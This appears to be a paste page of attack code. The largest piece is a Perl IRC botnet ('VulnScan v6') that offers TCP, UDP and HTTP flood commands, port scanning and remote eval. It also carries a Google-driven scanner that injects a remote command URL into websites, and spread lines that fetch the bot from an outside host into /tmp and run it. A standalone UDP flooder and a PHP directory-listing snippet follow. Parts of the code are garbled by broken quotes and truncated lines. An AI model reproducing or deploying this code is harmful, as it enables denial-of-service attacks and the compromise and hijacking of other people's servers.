Filed under: notepad
#!/usr/bin/perl
# VulnScan v6 Stable By Morgan
#
# Note:
# DO NOT REMOVE COPYRIGHTS …
# www.priv8.com.ar
#
# [Morgan]: http://priv8.com.ar/Zerocool.jpg
# [Morgan]: u got owned
# [ZEROCOOL]: bro
# [ZEROCOOL]: it’s a rbot
# [ZEROCOOL]: i’m not fuckingstupid
# [ZEROCOOL]: uahuahuahuahua
#
#
# Greets to irc.gigachat.net :: #Morgan
#
#
# To work with auto-spread :
# Create a file named spread.txt with this :
#
# v6;perl v6;rm -f v6*’);#
# passthru(‘cd /tmp;fetch http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*’);#
# passthru(‘cd /tmp;GET http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*’);#
# ?>#
#
# Change the url .. put ur bot url in that file
# then use the command :
#
# !letjen !eval @cmdstring=’http://yoursite.com/spread.txt’;
# or directly change it from the code..
#
# Enjoy the bot ….
# /Morgan
my $processo = ‘[v6]‘;
use HTTP::Request;
use LWP::UserAgent;
#CONFIGURATION
my $linas_max=’4′;
my $sleep=’5′;
my @gstring=’www.priv8.com.ar’;
my @cmdstring=’http://injek.tv/cmd.do’;
my @adms=(“letjen”);
my @canais=(“#…”);
my $nick=’[S][letjen]-’;
my $ircname =’letjen’;
chop (my $realname = `uname -a`);
$servidor=’207.56.88.173′;
my $porta=’6667′;
my $VERSAO = ‘Vulnscan v6 www.priv8.com.ar’;
$SIG{‘INT’} = ‘IGNORE’;
$SIG{‘HUP’} = ‘IGNORE’;
$SIG{‘TERM’} = ‘IGNORE’;
$SIG{‘CHLD’} = ‘IGNORE’;
$SIG{‘PS’} = ‘IGNORE’;
use IO::Socket;
use Socket;
use IO::Select;
chdir(“/”);
$servidor=”$ARGV[0]” if $ARGV[0];
$0=”$processo”.”"x16;;
my $pid=fork;
exit if $pid;
die “Problema com o fork: $!” unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == ‘1′) {
my $socket = $_[0];
print $socket “$_[1]\n”;
} else {
print $IRC_cur_socket “$_[0]\n”;
}
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net – #Morgan
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$servidor_con”, PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{‘host’} = “$servidor_con”;
$irc_servers{$IRC_cur_socket}{‘porta’} = “$porta_con”;
$irc_servers{$IRC_cur_socket}{‘nick’} = $meunick;
$irc_servers{$IRC_cur_socket}{‘meuip’} = $IRC_socket->sockhost;
nick(“$meunick”);
sendraw(“USER $ircname “.$IRC_socket->sockhost.” $servidor_con :$realname”);
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar(“$nick”, “$servidor”, “$porta”); }
delete($irc_servers{”}) if (defined($irc_servers{”}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{‘nick’};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $cnew(PeerAddr => $hostip, PeerPort => $porta, Proto => ‘tcp’, Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[SCAN]02 Open port(s): @aberta”);
} else {
sendraw($IRC_cur_socket,”PRIVMSG $printl :02[SCAN]02 No open ports found”);
}
}
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[TCP DDoSing]02 Attacking “.$1.”:”.$2.” for “.$3.” seconds.”);
my $itime = time;
my ($cur_time);
$cur_time = time – $itime;
while ($3>$cur_time){
$cur_time = time – $itime;
&tcpflooder(“$1″,”$2″,”$3″);
}
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[TCP DDoSing]02 Attack done “.$1.”:”.$2.”.”);
}
if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[VERSION]02 w0rmb0t ver “.$VERSAO);
}
#SCANNER
if ($funcarg =~ /^bug\s+(\d+)\s+(.*)/) {
$boturl=$2;
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[v6]02 Scan started.”);
srand;
my $itime = time;
my ($cur_time);
my ($exploited);
$boturl=$2;
$cur_time = time – $itime;$exploited = 0;
while($1>$cur_time){
$cur_time = time – $itime;
@urls=fetch();
foreach $url (@urls) {
$cur_time = time – $itime;
#sendraw($IRC_cur_socket, “PRIVMSG #debug :02[v6|Exploiting]02 “.$url2.”\n\n”);
my $path = “”;my $file = “”;($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 =”http://”.$path.”/”.$boturl.”@cmdstring?”;
print “\n”.$url2.”\n\n”;
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net – #Morgan
my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);
if ($response->is_success) {
if( $response->content =~ /By/ && $response->content =~ /Morgan/ ){
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[v6|VULN]02 “.$url2.” \n\n”);
}
}
else {
print ‘Errore: ‘,$path,$response->status_line, “\n”;
}
}
}
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[v6]02 Scan finished in “.$1.” seconds.”);
}
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[HTTP DDoSing]02 Attacking “.$1.”:80 for “.$2.” seconds.”);
my $itime = time;
my ($cur_time);
$cur_time = time – $itime;
while ($2>$cur_time){
$cur_time = time – $itime;
my $socket = IO::Socket::INET->new(proto=>’tcp’, PeerAddr=>$1, PeerPort=>80);
print $socket “GET / HTTP/1.1\r\nAccept: */*\r\nHost: “.$1.”\r\nConnection: Keep-Alive\r\n\r\n”;
close($socket);
}
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[HTTP]02 Attacking done “.$1.”.”);
}
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[UDP DDoSing]02 Attacking “.$1.” with “.$2.” Kb packets for “.$3.” seconds.”);
my ($dtime, %pacotes) = udpflooder(“$1″, “$2″, “$3″);
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, “PRIVMSG $printl :02[UDP]02 Sent “.int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024).” Kb in “.$dtime.” seconds to “.$1.”.”);
}
exit;
}
}
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net – #Morgan
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j(“$1″);
}
if ($case =~ /^part (.*)/) {
p(“$1″);
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p(“$2″);
j(“$2″);
}
} else {
p(“$chan”);
j(“$chan”);
}
}
if ($case =~ /^op/) {
op(“$printl”, “$kem”) if $case eq “op”;
my $oarg = substr($case, 3);
op(“$1″, “$2″) if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop(“$printl”, “$kem”) if $case eq “deop”;
my $oarg = substr($case, 5);
deop(“$1″, “$2″) if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg(“$1″, “$2″);
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg(“$2″, “$3″);
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp(“$1″, “$2″);
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp(“$2″, “$3″);
}
}
if ($case =~ /^nick (.*)/) {
nick(“$1″);
}
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar(“$2″, “$1″, 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw(“$1″);
}
if ($case =~ /^eval (.*)/) {
eval “$1″;
}
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net – #Morgan
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname(‘tcp’);
$j=0;$l=0;
$cur_time = time – $itime;
while ($l= $ftime;
$t=”SOCK$l”;
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j–;
$j++;$l++;
}
$l=0;
while ($l= $ftime;
$t=”SOCK$l”;
shutdown($t,2);
$l++;
}
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net – #Morgan
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = ‘A’ x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta = $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3; $pc = $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
sub ctcp {
return unless $#_ == 1;
sendraw(“PRIVMSG $_[0] :01$_[1]01″);
}
sub msg {
return unless $#_ == 1;
sendraw(“PRIVMSG $_[0] :$_[1]“);
}
sub notice {
return unless $#_ == 1;
sendraw(“NOTICE $_[0] :$_[1]“);
}
sub op {
return unless $#_ == 1;
sendraw(“MODE $_[0] +o $_[1]“);
}
sub deop {
return unless $#_ == 1;
sendraw(“MODE $_[0] -o $_[1]“);
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw(“JOIN $_[0]“);
}
sub p { part(@_); }
sub part {
sendraw(“PART $_[0]“);
}
sub nick {
return unless $#_ == 0;
sendraw(“NICK $_[0]“);
}
sub quit {
sendraw(“QUIT :$_[0]“);
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net – #Morgan
sub fetch(){
my $rnd=(int(rand(9999)));
my $n= 80;
if ($rnd<5000) { $n<<=1;}
my $s= (int(rand(10)) * $n);
{
my @dominios = (“nodom”);
my @str;
foreach $dom (@dominios)
{
push (@str,”@scan”);
}
my $query=”www.google.com/search?q=”;
$query.=$str[(rand(scalar(@str)))];
$query.=”&num=$n&start=$s”;
my @lst=();
#sendraw(“privmsg #Morgan
EBUG only test googling: “.$query.”");
my $page = http_query($query);
while ($page =~ m/\”]+)\”?>/g){
if ($1 !~ m/google|cache|translate/){
push (@lst,$1);
}
}
return (@lst);
}
sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page=”";
$host =~ s/href=\”?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq “”) {$query=”/”;};
eval {
local $SIG{ALRM} = sub { die “1″;};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>”$host”,PeerPort=>”80″,Proto=>”tcp”) or return;
print $sock “GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n”;
my @r = ;
$page=”@r”;
alarm 0;
close($sock);
};
return $page;
}
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net – #Morgan
# NOTE: DONT REMOVE COPYRIGHTS
Filed under: notepad
#!/usr/bin/perl
#####################################################
# udp flood.
#
# Sincan2 #malanghack
#
# Sincan2
######################################################
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf “$0 \n”;
printf “if arg1/2 =0, randports/continous packets.\n”;
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton(“$ip”);
printf “udp flood – Sincan2″;
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system(“(sleep $time;killall -9 udp) &”);
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system(“(sleep $time;killall -9 udp) &”);
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
Filed under: notepad
// begining of list.txt
<?php
function lookdir($mydirectory) {
$strdir = array();
chdir($mydirectory);
echo “
Directory of $mydirectory “;
if($handle = opendir($mydirectory)) {
while (false !== ($file = readdir($handle))) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = ’s’;
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = ‘l’;
} elseif (($perms & 0×8000) == 0×8000) {
// Regular
$info = ‘-’;
} elseif (($perms & 0×6000) == 0×6000) {
// Block special
$info = ‘b’;
} elseif (($perms & 0×4000) == 0×4000) {
// Directory
$info = ‘d’;
if ($file != “.”) {
if ($file != “..”) {
$strdir[] = $mydirectory . $file;//preg_replace(‘/\/./’,'/’,$file);
}
}
//return $strdir;
} elseif (($perms & 0×2000) == 0×2000) {
// Character special
$info = ‘c’;
} elseif (($perms & 0×1000) == 0×1000) {
// FIFO pipe
$info = ‘p’;
} else {
// Unknown
$info = ‘u’;
}
// Owner
$info .= (($perms & 0×0100) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0080) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0040) ?
(($perms & 0×0800) ? ’s’ : ‘x’ ) :
(($perms & 0×0800) ? ‘S’ : ‘-’));
// Group
$info .= (($perms & 0×0020) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0010) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0008) ?
(($perms & 0×0400) ? ’s’ : ‘x’ ) :
(($perms & 0×0400) ? ‘S’ : ‘-’));
// World
$info .= (($perms & 0×0004) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0002) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0001) ?
(($perms & 0×0200) ? ‘t’ : ‘x’ ) :
(($perms & 0×0200) ? ‘T’ : ‘-’));
$array_file_owner = posix_getpwuid(fileowner($file));
$array_file_group = posix_getgrgid(filegroup($file));
$info .= ” ” . $array_file_owner['name'] . ” “;
$info .= $array_file_group['name'] . ” “;
$info .= filesize($file) . ” “;
$info .= date(“M d Y”,filemtime($file)) . ” “;
$info .= $file;
echo “
$info”;
}
closedir($handle);
}
return $strdir;
} // end of function lookdir
$my_working_directory = getcwd();
lookdir($my_working_directory); // atau coba juga lookdir(“.”);
?>
// end of list.txt